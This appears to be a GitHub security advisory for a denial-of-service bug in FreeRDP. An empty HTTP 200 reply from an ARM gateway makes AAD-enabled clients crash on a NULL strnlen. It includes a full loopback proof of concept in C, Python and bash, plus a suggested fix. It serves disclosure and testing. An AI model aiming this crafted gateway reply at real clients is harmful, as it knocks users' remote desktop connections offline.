Empty ARM HTTP 200 response crashes AAD-enabled FreeRDP clients
What fixes it
- 3.32.0FreeRDP, cGitHub
A fixed version on one release line is not the upgrade target for every line. Check your exact version and any vendor backports.
Description
An AAD-enabled FreeRDP client using ARM gateway transport crashes when its configured ARM endpoint returns HTTP/1.1 200 OK with an empty body. The HTTP response parser represents a zero-length body with BodyLength == 0 and BodyContent == NULL. The status-200 ARM handler passes that pointer to strnlen without a NULL check.
The issue requires WITH_AAD=ON, ARM transport configuration, and control of the configured ARM endpoint or another TLS position already accepted by the client. It does not bypass TLS. The demonstrated result is availability loss in the connecting client process only; no confidentiality loss, integrity loss, or code execution was observed.
The vulnerable sequence in FreeRDP 3.31.1 is:
const size_t len = http_response_get_body_length(response); const char* msg = http_response_get_body(response); const size_t alen = strnlen(msg, len + 1);
For a zero-length body, this becomes strnlen(NULL, 1). The production path is freerdp_connect -> rdp_client_connect -> arm_resolve_endpoint -> arm_handle_request -> arm_handle_request_ok.
The vulnerable handler first appeared in 3.0.0-beta4 during an ARM handling restructure. The preceding beta3 allocated a non-NULL len + 1 buffer before parsing. Stable 3.0.0, 3.31.1, and the inspected current master source retain the unsafe operation. No public fix or exact duplicate was found.
Impact
A malicious or compromised configured ARM gateway can terminate affected FreeRDP client processes while they resolve an Azure Virtual Desktop connection. The crash is deterministic for the tested response. Users can restart the client, but a gateway that repeats the reply can prevent connection establishment.
The CVSS attack complexity is High because an attacker must control a configured trusted endpoint, possess a certificate the client accepts, or already occupy a trusted interception position. The attack requires no FreeRDP-local privileges or user interaction after the client starts the configured connection.
Validation
The real product request path was exercised against a controlled local TLS endpoint. The server first returned a valid AAD well-known document, received FreeRDP's bearer-authenticated POST /api/arm/v2/connections, and then returned one of two responses:
- Empty HTTP 200: ASan/UBSan reported a NULL argument and SEGV at
arm_handle_request_ok; an unsanitized RelWithDebInfo build independently exited with SIGSEGV. - Valid nonempty ARM JSON: FreeRDP extracted the gateway URL, returned normally from ARM parsing without a sanitizer finding, and failed later only because the downstream target was deliberately unreachable.
This control isolates the empty successful response as the crash trigger.
Reproduction
The attached PoC expects a matching FreeRDP 3.31.1 source checkout and CMake build with WITH_AAD=ON and shared libraries enabled:
git clone https://github.com/FreeRDP/FreeRDP.git freerdp-src git -C freerdp-src checkout 3.31.1 cmake -S freerdp-src -B freerdp-build \ -DCMAKE_BUILD_TYPE=RelWithDebInfo \ -DBUILD_SHARED_LIBS=ON \ -DWITH_AAD=ON cmake --build freerdp-build --target freerdp --parallel 4 FREERDP_SOURCE="$PWD/freerdp-src" \ FREERDP_BUILD="$PWD/freerdp-build" \ ./poc/run.sh
The runner uses loopback only, creates an ephemeral certificate and test binary, runs both cases, and deletes the certificate, private key, binary, transcripts, and logs on exit. It intentionally crashes the test client process and should be run only on a disposable local system.
Suggested remediation
Check msg for NULL in arm_handle_request_ok before calling strnlen, return a normal connection error for a missing body, and add a regression test for an HTTP 200 response with Content-Length: 0. The valid nonempty JSON case should remain a control.
Complete PoC files
<!-- BEGIN FILE: poc/arm_product_client.c -->
#include <freerdp/freerdp.h>
#include <freerdp/settings.h>
#include <winpr/wlog.h>
#include <errno.h>
#include <inttypes.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
static int set_string(rdpSettings* settings, FreeRDP_Settings_Keys_String key, const char* value)
{
if (!freerdp_settings_set_string(settings, key, value))
{
fprintf(stderr, "failed to set string key %u\n", (unsigned)key);
return 0;
}
return 1;
}
static int set_bool(rdpSettings* settings, FreeRDP_Settings_Keys_Bool key, BOOL value)
{
if (!freerdp_settings_set_bool(settings, key, value))
{
fprintf(stderr, "failed to set bool key %u\n", (unsigned)key);
return 0;
}
return 1;
}
int main(int argc, char** argv)
{
if (argc != 2)
{
fprintf(stderr, "usage: %s AAD_HOST:PORT\n", argv[0]);
return 64;
}
const char* colon = strrchr(argv[1], ':');
if (!colon || (colon == argv[1]) || (colon[1] == '\0'))
{
fprintf(stderr, "AAD endpoint must be HOST:PORT\n");
return 64;
}
errno = 0;
char* end = NULL;
const unsigned long parsed_port = strtoul(colon + 1, &end, 10);
if (errno || !end || (*end != '\0') || (parsed_port == 0) || (parsed_port > UINT16_MAX))
{
fprintf(stderr, "invalid endpoint port\n");
return 64;
}
const size_t host_len = (size_t)(colon - argv[1]);
char* gateway_host = strndup(argv[1], host_len);
if (!gateway_host)
return 65;
freerdp* instance = freerdp_new();
if (!instance)
{
free(gateway_host);
return 65;
}
if (!freerdp_context_new(instance))
{
freerdp_free(instance);
free(gateway_host);
return 66;
}
rdpSettings* settings = instance->context->settings;
const BYTE load_balance_info[] = "full address:s:unreachable.invalid";
int ok = 1;
ok &= set_string(settings, FreeRDP_ServerHostname, "unreachable.invalid");
ok &= freerdp_settings_set_uint32(settings, FreeRDP_ServerPort, 3389);
ok &= set_string(settings, FreeRDP_GatewayHostname, gateway_host);
ok &= freerdp_settings_set_uint32(settings, FreeRDP_GatewayPort, (UINT32)parsed_port);
ok &= set_bool(settings, FreeRDP_GatewayEnabled, TRUE);
ok &= set_bool(settings, FreeRDP_GatewayArmTransport, TRUE);
ok &= set_bool(settings, FreeRDP_GatewayRpcTransport, FALSE);
ok &= set_bool(settings, FreeRDP_GatewayHttpTransport, FALSE);
ok &= set_bool(settings, FreeRDP_GatewayHttpUseWebsockets, FALSE);
ok &= set_bool(settings, FreeRDP_AadSecurity, TRUE);
ok &= set_bool(settings, FreeRDP_IgnoreCertificate, TRUE);
ok &= set_string(settings, FreeRDP_GatewayAzureActiveDirectory, argv[1]);
ok &= set_string(settings, FreeRDP_GatewayHttpExtAuthBearer, "test-access-token");
ok &= set_string(settings, FreeRDP_RemoteApplicationProgram, "||test-app");
ok &= freerdp_settings_set_pointer_len(settings, FreeRDP_LoadBalanceInfo, load_balance_info,
sizeof(load_balance_info) - 1);
ok &= freerdp_settings_set_uint32(settings, FreeRDP_TcpConnectTimeout, 1000);
free(gateway_host);
if (!ok)
{
freerdp_context_free(instance);
freerdp_free(instance);
return 67;
}
WLog_SetLogLevel(WLog_GetRoot(), WLOG_DEBUG);
fprintf(stderr, "CLIENT_MARKER before_freerdp_connect\n");
const BOOL connected = freerdp_connect(instance);
fprintf(stderr, "CLIENT_MARKER after_freerdp_connect connected=%d last_error=0x%08" PRIx32 "\n",
connected, freerdp_get_last_error(instance->context));
if (connected)
freerdp_disconnect(instance);
freerdp_context_free(instance);
freerdp_free(instance);
return connected ? 0 : 1;
}<!-- END FILE: poc/arm_product_client.c -->
<!-- BEGIN FILE: poc/arm_https_server.py -->
#!/usr/bin/env python3
import argparse
import base64
import json
import socket
import ssl
import struct
from pathlib import Path
def read_request(conn):
data = b""
while b"\r\n\r\n" not in data:
block = conn.recv(4096)
if not block:
break
data += block
head, _, body = data.partition(b"\r\n\r\n")
content_length = 0
for line in head.split(b"\r\n")[1:]:
if line.lower().startswith(b"content-length:"):
content_length = int(line.split(b":", 1)[1].strip())
while len(body) < content_length:
block = conn.recv(4096)
if not block:
break
body += block
return head, body[:content_length]
def response(body):
return (
b"HTTP/1.1 200 OK\r\n"
b"Content-Type: application/json\r\n"
+ f"Content-Length: {len(body)}\r\n".encode()
+ b"Connection: close\r\n\r\n"
+ body
)
def valid_arm_body(cert_path):
pem = Path(cert_path).read_text(encoding="ascii")
der = ssl.PEM_cert_to_DER_cert(pem)
target_cert = struct.pack("<III", 32, 1, len(der)) + der
inner = base64.b64encode(target_cert).decode("ascii").encode("utf-16le")
wrapped = base64.b64encode(inner).decode("ascii")
return json.dumps(
{
"gatewayLocation": "https://gateway.example.test/",
"redirectedServerCert": wrapped,
},
separators=(",", ":"),
).encode("ascii")
def main():
parser = argparse.ArgumentParser()
parser.add_argument("--mode", choices=("empty", "valid"), required=True)
parser.add_argument("--cert", required=True)
parser.add_argument("--key", required=True)
parser.add_argument("--transcript", required=True)
parser.add_argument("--port", type=int, required=True)
args = parser.parse_args()
context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
context.load_cert_chain(args.cert, args.key)
events = []
with socket.socket() as listener:
listener.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
listener.bind(("127.0.0.1", args.port))
listener.listen(4)
print(f"SERVER_MARKER listening mode={args.mode} port={args.port}", flush=True)
for index in range(2):
raw, peer = listener.accept()
with context.wrap_socket(raw, server_side=True) as conn:
head, body = read_request(conn)
request_line = head.split(b"\r\n", 1)[0].decode("ascii", "replace")
events.append(
{
"index": index + 1,
"peer": list(peer),
"request_line": request_line,
"headers": head.decode("utf-8", "replace"),
"body": body.decode("utf-8", "replace"),
"body_length": len(body),
}
)
if index == 0:
payload = b"{}"
elif args.mode == "valid":
payload = valid_arm_body(args.cert)
else:
payload = b""
conn.sendall(response(payload))
print(
f"SERVER_MARKER request={index + 1} line={request_line!r} "
f"request_body={len(body)} response_body={len(payload)}",
flush=True,
)
Path(args.transcript).write_text(json.dumps(events, indent=2) + "\n", encoding="utf-8")
if __name__ == "__main__":
main()<!-- END FILE: poc/arm_https_server.py -->
<!-- BEGIN FILE: poc/run.sh -->
#!/usr/bin/env bash
set -euo pipefail
: "${FREERDP_SOURCE:?set FREERDP_SOURCE to a FreeRDP source checkout}"
: "${FREERDP_BUILD:?set FREERDP_BUILD to its AAD-enabled build directory}"
expected_revision="${FREERDP_EXPECTED_REVISION:-63b948ca5cb94307fd5444ee6e73927a41ccdab4}"
actual_revision=$(git -c safe.directory="$FREERDP_SOURCE" -C "$FREERDP_SOURCE" rev-parse HEAD)
if [[ "$actual_revision" != "$expected_revision" ]]; then
printf 'revision mismatch: expected %s, got %s\n' "$expected_revision" "$actual_revision" >&2
exit 2
fi
cache="$FREERDP_BUILD/CMakeCache.txt"
if [[ ! -f "$cache" ]] || ! grep -qx 'WITH_AAD:BOOL=ON' "$cache"; then
printf 'FREERDP_BUILD must be a CMake build with WITH_AAD=ON\n' >&2
exit 2
fi
if ! grep -Fqx "CMAKE_HOME_DIRECTORY:INTERNAL=$FREERDP_SOURCE" "$cache"; then
printf 'FREERDP_BUILD does not match FREERDP_SOURCE\n' >&2
exit 2
fi
script_dir=$(CDPATH= cd -- "$(dirname -- "$0")" && pwd)
work=$(mktemp -d)
server_pid=''
cleanup() {
if [[ -n "$server_pid" ]] && kill -0 "$server_pid" 2>/dev/null; then
kill "$server_pid" 2>/dev/null || true
wait "$server_pid" 2>/dev/null || true
fi
rm -rf "$work"
printf 'CLEANUP removed generated certificate, key, binary, and logs\n'
}
trap cleanup EXIT
port="${ARM_TEST_PORT:-18443}"
openssl req -x509 -newkey rsa:2048 -nodes -sha256 -days 1 \
-subj '/CN=127.0.0.1' -addext 'subjectAltName=IP:127.0.0.1,DNS:localhost' \
-keyout "$work/server.key" -out "$work/server.crt" >/dev/null 2>&1
read -r -a compiler_flags <<< "${POC_CFLAGS:--O2 -g}"
cc "${compiler_flags[@]}" \
-I"$FREERDP_SOURCE/include" \
-I"$FREERDP_SOURCE/winpr/include" \
-I"$FREERDP_BUILD/include" \
-I"$FREERDP_BUILD/winpr/include" \
"$script_dir/arm_product_client.c" \
-L"$FREERDP_BUILD/libfreerdp" \
-L"$FREERDP_BUILD/winpr/libwinpr" \
-lfreerdp3 -lwinpr3 -o "$work/arm_product_client"
library_path="$FREERDP_BUILD/libfreerdp:$FREERDP_BUILD/winpr/libwinpr"
if [[ -n "${FREERDP_EXTRA_LD_LIBRARY_PATH:-}" ]]; then
library_path="$library_path:$FREERDP_EXTRA_LD_LIBRARY_PATH"
fi
run_case() {
local mode=$1
local server_log="$work/$mode-server.log"
local client_log="$work/$mode-client.log"
local transcript="$work/$mode-transcript.json"
timeout 20s python3 "$script_dir/arm_https_server.py" \
--mode "$mode" --cert "$work/server.crt" --key "$work/server.key" \
--transcript "$transcript" --port "$port" >"$server_log" 2>&1 &
server_pid=$!
for _ in $(seq 1 50); do
grep -q 'SERVER_MARKER listening' "$server_log" 2>/dev/null && break
sleep 0.1
done
set +e
env -u http_proxy -u https_proxy -u HTTP_PROXY -u HTTPS_PROXY -u ALL_PROXY -u all_proxy \
LD_LIBRARY_PATH="$library_path" SSL_CERT_FILE="$work/server.crt" WLOG_LEVEL=DEBUG \
ASAN_OPTIONS=abort_on_error=1:detect_leaks=0:symbolize=1 \
timeout 15s "$work/arm_product_client" "127.0.0.1:$port" >"$client_log" 2>&1
client_status=$?
wait "$server_pid"
server_status=$?
set -e
server_pid=''
if [[ "$server_status" -ne 0 ]]; then
printf '%s server failed with status %s\n' "$mode" "$server_status" >&2
cat "$server_log" >&2
exit 1
fi
printf '%s client_exit=%s server_exit=%s\n' "${mode^^}" "$client_status" "$server_status"
grep 'SERVER_MARKER request=' "$server_log"
if [[ "$mode" == valid ]]; then
if [[ "$client_status" -ne 1 ]] || ! grep -q 'CLIENT_MARKER after_freerdp_connect' "$client_log"; then
printf 'valid control did not return normally\n' >&2
cat "$client_log" >&2
exit 1
fi
if grep -Eq 'AddressSanitizer|runtime error:|DEADLYSIGNAL' "$client_log"; then
printf 'valid control unexpectedly triggered a sanitizer\n' >&2
exit 1
fi
grep -E 'extracted target url|CLIENT_MARKER after_freerdp_connect' "$client_log"
else
if [[ "$client_status" -ne 134 && "$client_status" -ne 139 ]]; then
printf 'empty response did not terminate the client as expected\n' >&2
cat "$client_log" >&2
exit 1
fi
if grep -q 'AddressSanitizer' "$client_log"; then
grep -E 'runtime error: null pointer|AddressSanitizer: SEGV|arm_handle_request_ok|arm_resolve_endpoint|freerdp_connect' "$client_log" | head -12
else
grep 'CLIENT_MARKER before_freerdp_connect' "$client_log"
printf 'release build terminated by SIGSEGV\n'
fi
fi
}
printf 'REVISION %s\n' "$actual_revision"
run_case valid
run_case empty
printf 'RESULT vulnerable: valid ARM JSON returned normally; empty HTTP 200 terminated the client\n'<!-- END FILE: poc/run.sh -->
Text from GitHub Advisory Database
Affected versions 1
- FreeRDP, c>= 3.0.0-beta4, <= 3.31.1GitHub